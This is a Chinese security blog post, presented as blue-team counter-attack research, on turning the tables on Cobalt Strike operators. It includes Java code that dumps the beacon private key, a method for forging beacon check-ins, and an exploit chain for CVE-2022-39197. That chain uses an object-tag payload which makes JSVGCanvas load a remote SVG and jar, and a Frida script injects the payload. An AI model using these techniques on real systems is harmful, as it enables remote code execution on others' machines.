Cobaltstrike反制浅析——从伪装上线到RCE

admin 2025年6月30日18:39:32评论14 views字数 6788阅读22分37秒阅读模式
Cobaltstrike反制浅析——从伪装上线到RCE

本文所述的一切技术仅供网络安全研究学习之用,请勿用于任何的违法及商业用途,否则由此所产生的一切法律后果自负!

听说马上要某行动了,最近事情有点多就很久没发文章了,文章不是一个时间段写的(主要内容都是好多年前写的,用的版本比较旧,现在整理笔记时重新修改,有一部分代码截图分析用的新版本,看核心逻辑就行,内容是一样的就懒得找老版本了),截图使用的版本有些乱(反正都是受漏洞影响的版本),因为现在准备发的时候发现之前的图有点问题,重新复现或者分析截一下,反正原理是一样的,核心没有变,不要在意细节。
虽然CS已经更到4.10了,但是仍然有很多人还在用老版本(可能是因为破解版没拿到,或者用的大佬二开的旧版本,新版本二开的没人分享),所以在实际蓝队防守和溯源反制的过程中,这篇文章还是可以参考一下的。本文主要是从防守角度出发,列出一部分CS分析的方法和反制的手段。
CS流量分析
通过CS上线,抓包并筛选HTTP流量

Cobaltstrike反制浅析——从伪装上线到RCE

定位到上线的包,里面包含cookie,cookie即为加密字段

Cobaltstrike反制浅析——从伪装上线到RCE

分析逆向后的CobaltStrike源码,定位到BeaconHTTP类中的Beacon Entry

Cobaltstrike反制浅析——从伪装上线到RCE

继续跟进到C2Beacon类,BeaconEntry入口点在此处进行定义

Cobaltstrike反制浅析——从伪装上线到RCE

继续跟进AsymmetricCrypto方法后进入AsymmetricCrypto类,其中是一个明显的RSA加密,模式为ECB,填充方式为PKCS1

Cobaltstrike反制浅析——从伪装上线到RCE

继续往下跟到decrypt方法,RSA的解密需要调用私钥

Cobaltstrike反制浅析——从伪装上线到RCE

回到BeaconC2类,其中对asecurity变量的赋值只有再setCrypto方法中存在

Cobaltstrike反制浅析——从伪装上线到RCE

使用IDEA全局搜索功能定位调用的文件,出现在BeaconSetup类中

Cobaltstrike反制浅析——从伪装上线到RCE

Cobaltstrike反制浅析——从伪装上线到RCE

继续跟传入的参var2,var2的值来自beacon_asymmetric()方法,这个方法在同个类中定义,这其中的关键就是.cobaltstrike.beacon_keys

Cobaltstrike反制浅析——从伪装上线到RCE

这个文件在cs运行目录下也能找到,是beacon的key文件,通常情况下通过一些工具就可以解析公钥,比如GitHub上的CobaltStrikeParser能解析默认配置下的stage信息

Cobaltstrike反制浅析——从伪装上线到RCE

要取得私钥需要通过一些方法,根据上面的代码,编写一个工具类用于提取私钥,这个代码很多人都写过,直接拿大佬写完的也行
import java.io.File;import java.util.Base64;import common.CommonUtils;import java.security.KeyPair;class DumpKeys{       public static void main(String[] args)    {        try {            File file = new File(".cobaltstrike.beacon_keys");            if (file.exists()) {                KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null);                System.out.printf("Private Key: %snn"new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded())));                System.out.printf("Public Key: %snn"new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded())));            }            else {                System.out.println("Could not find .cobaltstrike.beacon_keys file");            }        }        catch (Exception exception) {           System.out.println("Could not read asymmetric keys");        }    }}
使用此代码读取beacon_keys即可进行解密,运行前需设置classpath为cs的jar包文件

Cobaltstrike反制浅析——从伪装上线到RCE

找个在线工具,将相关字段填入可以直接解密

Cobaltstrike反制浅析——从伪装上线到RCE

因为前面还有一串不可读字符,因此手动分析再进一步,先将私钥转换为16进制,以3082开头的即为私钥

Cobaltstrike反制浅析——从伪装上线到RCE

通过工具解析,解密得到的内容如下,似乎看起来丢了一些字符,从DESKTOP变成了SKTOP

Cobaltstrike反制浅析——从伪装上线到RCE

所以直接将16进制字符串进行解析

Cobaltstrike反制浅析——从伪装上线到RCE

Cobaltstrike反制浅析——从伪装上线到RCE

因此最终的metadata格式为:标志头(4)+Size(4)+Rawkey(16)+字体(4)+beacon ID(4)+ 进程ID(4)+port(2)+内核(4)+0x09 +受害者IP +0x09 + 主机名+ 0x09 + 用户名+0x09+进程名
伪装上线
因此只需要知道了公钥和linster地址就能实现伪造上线,照上面的格式构造包就行,中间还有个小坑,就是长度的问题,如果超过特定长度会报错,伪装上线效果如下:

Cobaltstrike反制浅析——从伪装上线到RCE

Tips:还有一个比较有意思的地方,正常情况下如果是Administrator上线的时候,图标是不一样的

Cobaltstrike反制浅析——从伪装上线到RCE

在伪造的时候,发现上线效果不太一样,图标没变红,就是正常的蓝色,如果需要伪装成管理员(即上线时为红色图标),只要在用户名后自己加个*就行
长度问题的补充
最后补充一下长度问题,为什么会存在长度过长无法伪造上线呢,上面的分析已经提到了CS使用的是RSA算法,加密模式为ECB,填充方式为PKCS1
RSA公钥密码体系是建立在大整数分解难题的基础上的,RSA密码体系的步骤如下:
  1. 先生成两个大素数p和q,计算n=n=p·q
  2. 计算φ(N)=(p-1)*(q-1)
  3. 选择一个整数e,1<e<φ(N),且e与φ(N)互质
  4. 计算d,使得e*d=1 mod φ(N)
  5. 将N和e作为公钥,N和d作为私钥
  6. 加密数据时,将明文转换为整数M,计算C=Me mod N
  7. 解密数据时,将密文转换为整数C,计算M=Cd mod N
在RSA算法中,公钥(N,e)用于加密数据,私钥(N,d)用于解密数据。由于φ(N)难以计算,因此在已知N和e的情况下,计算d是困难的,这就保证了RSA算法的安全性。同时,由于N是两个大素数p和q的乘积,因此破解RSA算法的关键在于分解N为p和q两个素数的乘积,这是一个极其困难的问题,因此RSA算法被认为是一种安全的加密算法。

Cobaltstrike反制浅析——从伪装上线到RCE

ECB的加密模式也很好理解,电码本模式(Electronic Codebook Book,简称ECB)是一种最直接,最简单的消息加密方式。在ECB模式中,明文加密之后将直接得到密文,同样的密文解密之后,也直接得到明文。‌ECB模式优点:
简单易实现‌。每个明文块独立加密,无需复杂的链式操作或初始化向量(IV),实现逻辑简单。
‌并行处理能力强‌。由于明文块独立加密,可充分利用多核处理器优势,显著提升加密/解密速度。‌‌
‌无错误传播风险‌。单个明文块的错误不会影响其他块,传输过程中数据损坏时仅局部受影响。‌‌
缺点‌:
数据模式暴露风险‌。相同的明文块会产生相同的密文块,若明文中存在重复内容(如图片的固定模式),攻击者可轻易通过密文分析推测明文结构。‌‌
‌不适合长数据流‌。对于包含大量重复数据的长数据流(如视频、连续文本),ECB模式的安全性较低,易受统计分析攻击。‌‌
‌安全性较低‌。仅适用于对安全性要求极低且数据量较小的场景(如密钥保护),不适用于需要高保密性的应用。‌‌

Cobaltstrike反制浅析——从伪装上线到RCE

因为CS中使用的是RSA-1024(这是一种已知存在缺陷的加密算法,不推荐使用),也就是长度为128位,因此待加密的明文(metadata数据)是需要小于128位的,加上PKCS1占用的11位,实际可用长度是128-11=117位,因此在随机生成虚假上线的payload时,也要注意长度不能超过117,如果没有限制时纯随机可能导致长度过长,出现如下报错:

Cobaltstrike反制浅析——从伪装上线到RCE

RCE的前置——XSS
在前不久beichen师傅给CS提了一个XSS漏洞,编号为CVE-2022-39197,影响CS<4.7.1的所有版本,用上面的伪装上线修改一下提交payload,效果如下:

Cobaltstrike反制浅析——从伪装上线到RCE

payload在用户名处,将用户名置为
<html><img src=http://127.0.0.1/1.png>
即可加载
但是你会发现如果把用户名替换为script标签其实并不会弹窗,直接不显示了,所以不是用file://xxx/cmd.exe这样的方式来实现的RCE

Cobaltstrike反制浅析——从伪装上线到RCE

来分析一下,很多人以为直接通过js能够xss2rce,实际上并不是这样,看到很多文章都在写js的问题,但是这个核心根本不是js...(补充:后来漂亮鼠的文章里也说了),而是swing解析html的问题,先来分析一下swing的解析器,老版本的swing通常在jdk目录的rt.jar下,新的(我用的jdk21)在java.desktop/javax/swing/text/html中

Cobaltstrike反制浅析——从伪装上线到RCE

找到解析HTML的一个方法看一下,新版本的IDEA格式解析看起来还是很友好的

Cobaltstrike反制浅析——从伪装上线到RCE

跟一下其中的几个Action,太菜了没发现啥,换个别的文件反而找到一点思路
定位到HTMLEditorKit类中的HTMLFactory,其中定义了很多view,再一点点看,中间踩了很多坑,踩坑过程就不写了

Cobaltstrike反制浅析——从伪装上线到RCE

在跟到其中的Object的时候,发现这个东西可以实例化类,还可以传递param参数,这时候感觉大概率能深入挖掘这个进行利用了

Cobaltstrike反制浅析——从伪装上线到RCE

继续看这个类,在里面发现了createComponent,看到这个代码经常分析Java的朋友(反正不是我)应该知道这个非常经典的反射加载类代码

Cobaltstrike反制浅析——从伪装上线到RCE

但是条件是会先判断是否继承了Component,如果没有继承就返回错误,继续跟进SetParameter参数

Cobaltstrike反制浅析——从伪装上线到RCE

这里有一个对writer的判断,也就是能不能写,如果要能写的话需要有setXXX方法的XXX属性才行,且参数为String,找Component子类可以用IDEA自带的功能去找

Cobaltstrike反制浅析——从伪装上线到RCE

XSS2RCE
找了半天(以下省略踩坑过程,主要是以前写的太简单了都没提)找到了org.apache.batik.swing.JSVGCanvas,可以用这个方法远程加载svg图片,svg也在xss中经常被用来绕过一些限制

Cobaltstrike反制浅析——从伪装上线到RCE

查了查文档,先简单实现一下怎么用object来加载一个标签,写一个Demo先
package org.example;import javax.swing.*;public class Main {    public static void main(String[] args) {        JFrame.setDefaultLookAndFeelDecorated(true);        JFrame frame = new JFrame("test");        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);        JLabel label2 = new JLabel("<html><object classid='javax.swing.JLabel'><param name='text' value='test'></object>");        frame.getContentPane().add(label2);        frame.pack();        frame.setVisible(true);    }}
效果如下,简单实现就是加载一个JLabel

Cobaltstrike反制浅析——从伪装上线到RCE

引申一下,就用上面找到的svg加载方式,使用org.apache.batik.swing.JSVGCanvas来加载svg
svg代码如下:
<svgxmlns="http://www.w3.org/2000/svg"width="100"height="100">    <circlecx="50"cy="50"r="40"stroke="black"stroke-width="3"fill="green" /></svg>

Cobaltstrike反制浅析——从伪装上线到RCE

熟悉XXE的朋友应该都知道,可以构造一个特殊的xml来执行一些命令,那试试能不能直接通过script标签来执行,结果一跑发现报错了

Cobaltstrike反制浅析——从伪装上线到RCE

控制台里的信息显示的是找不到类,实际上在CS里直接通过这种方式利用也不行

Cobaltstrike反制浅析——从伪装上线到RCE

然后看文章的时候看到十年前就有人写了文章,svg和java代码执行
https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html
照葫芦画瓢构造恶意文件并编译成jar包

Cobaltstrike反制浅析——从伪装上线到RCE

编译后将manifest文件加入jar包

Cobaltstrike反制浅析——从伪装上线到RCE

但是又遇到一个巨坑的问题,不知道什么情况被拦了,应该是同源策略的关系

Cobaltstrike反制浅析——从伪装上线到RCE

折腾了半天,加了一条禁用SecurityManager才解决问题(可能是不同batik版本的问题?),重新编译后即可成功启动计算器

Cobaltstrike反制浅析——从伪装上线到RCE

也就是通过这种方式加载SVG就能成功执行上线了,迁移到CS中来,继续回到CS分析调用情况,在CS的batik的BaseScriptingEnvironment.java中跟进解析

Cobaltstrike反制浅析——从伪装上线到RCE

需要满足几个条件
checkCompatibleScriptURL(type, purl);//条件1man.getMainAttributes().getValue("Script-Handler")!=null //条件2man.getMainAttributes().getValue("SVG-Handler-Class")!=null//条件3
看网上文章好像在老版本里还没有Script-Handler和SVG-Handler-Class,还是var的变量形式(笑死)。下面两个条件是特定字段不为空,第一个方法再跟一下,真是一个套一个...

Cobaltstrike反制浅析——从伪装上线到RCE

继续跟checkLoadScript和getScriptSecurity

Cobaltstrike反制浅析——从伪装上线到RCE

最终跟到了DefaultScriptSecurity

Cobaltstrike反制浅析——从伪装上线到RCE

可以看到条件就一个,只要远程svg和jar包文件地址相同即可。
长度限制的绕过
上面已经说到了117的长度限制,然鹅如果使用object标签肯定长度会超,分析了一下发现了一个很有意思的东西,还是前面分析过的HTML解析部分,有一个frame标签的解析

Cobaltstrike反制浅析——从伪装上线到RCE

使用标签方式可以绕过长度限制,但是发现出现了一堆报错

Cobaltstrike反制浅析——从伪装上线到RCE

不知道发生了什么,又整了半天没成功,但是可以通过另一个方式去复现,就是Hook WindowsAPI,以后可能会写frida的文章吧(咕咕咕,下次一定),这次先不展开了,主要脚本如下
var payload="<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://127.0.0.1/test.svg'></param></object>"      var pProcess32Next = Module.findExportByName("kernel32.dll""Process32Next")    Interceptor.attach(pProcess32Next, {        onEnter: function(args) {            this.pPROCESSENTRY32 = args[1];            if(Process.arch == "ia32"){                this.exeOffset = 36;            }else{                this.exeOffset = 44;            }            this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);        },        onLeave: function(retval) {            if(this.szExeFile.readAnsiString() == "beacon.exe") {                send("[!] Found beacon, injecting payload");                this.szExeFile.writeAnsiString(payload);            }                }    })
RCE成功,合影留念

Cobaltstrike反制浅析——从伪装上线到RCE

喜欢的朋友可以一键三连

往期推荐

红队基础设施建设与改造(四)——深入解析Cobaltstrike(二开环境、认证过程分析、Beacon分析)

MalleableC2配置详解

Cobaltstrike反制浅析——从伪装上线到RCE

点击名片直接关注

原文始发于微信公众号(魔影安全实验室):Cobaltstrike反制浅析——从伪装上线到RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月30日18:39:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Cobaltstrike反制浅析——从伪装上线到RCEhttps://cn-sec.com/archives/4211043.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息